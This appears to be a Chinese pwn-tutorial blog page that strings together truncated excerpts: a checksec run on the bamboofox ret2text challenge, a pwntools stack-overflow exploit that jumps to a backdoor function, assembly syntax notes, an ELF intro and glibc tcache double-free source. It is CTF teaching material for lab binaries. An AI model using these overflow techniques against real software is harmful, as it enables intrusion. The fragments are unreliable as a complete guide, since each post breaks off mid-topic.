0%

前言

之前我们已经初步介绍了栈溢出和栈对齐,这一节我们将做一个巩固练习

ret2text

ret2text

先进行安全防护检测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ chmod +x ./ret2text              (.venv) master
'./ret2text' 的模式已由 0644 (rw-r--r--) 更改为 0755 (rwxr-xr-x)
~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ pwn checksec ./ret2text        (.venv) master ✱
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2text/bamboofox-ret2text/ret2text'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

ida pro 逆向

前言

在上一节中为了成功执行 payload,我们在 exp.py 中加入了 ret 指令,今天我们将继续深入了解栈对齐的问题。

栈对齐

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

p = process("./main")  # 启动程序

backdoor = 0x401170  # backdoor 函数的地址
# 0x000000000040101a : ret
ret = 0x40101a
payload = b"a" * (0x10 + 0x8) + p64(backdoor)  # 填充到 0x10 字节 + 8 字节的返回地址

p.sendline(payload)  # 发送 payload

p.interactive()  # 进入交互模式

开始调试后一直跟踪到发现卡住无法调试了

前言

为什么输入一串杂乱的字符串,就能让程序崩溃?为什么输入一串特定的字符串,就能让程序执行任意代码?下面的内容将带你走进 Pwn 的世界,了解栈溢出是如何发生的,以及如何利用它来执行任意代码。

汇编语言风格

AT&TIntel
寄存器前缀 %寄存器无前缀
立即数前缀 $立即数无前缀
16 进制数前缀 0x16 进制数后缀 h
源操作数在前,目标操作数在后源操作数在后,目标操作数在前
间接寻址使用 (%reg)间接寻址使用 [reg]
间接寻址格式为 (%reg, %reg, scale)间接寻址格式为 [reg + reg * scale]
操作数大小后缀 bwl操作数大小后缀 byte ptrword ptrdword ptr

寄存器

寄存器是 CPU 内部的高速存储器,用于存储临时数据和指令执行状态。

ELF 文件初识

ELF 文件即 Linux 下的可执行文件,ELF 是 Executable and Linkable Format 的缩写。它是一个标准的二进制文件格式,用于存储可执行文件、目标代码、共享库和核心转储等。

使用 Linux 内置命令 file 可以轻松查看文件类型:

利用背景

自 glibc 2.29 开始加入了对 tcache 的 double free 检查, 使得之前的 tcache double free 失效

源码解读

tcache 结构体

1
2
3
4
5
6
typedef struct tcache_entry
{
  struct tcache_entry *next;  //链表指针,对应chunk中的fd字段
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;  //指向所属的tcache结构体,对应chunk中的bk字段
} tcache_entry;

tcache 被置入链表

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;  //设置所属的tcache

  e->next = tcache->entries[tc_idx];//单链表头插法
  tcache->entries[tc_idx] = e;

  ++(tcache->counts[tc_idx]); //计数增加
}

tcache double free 检查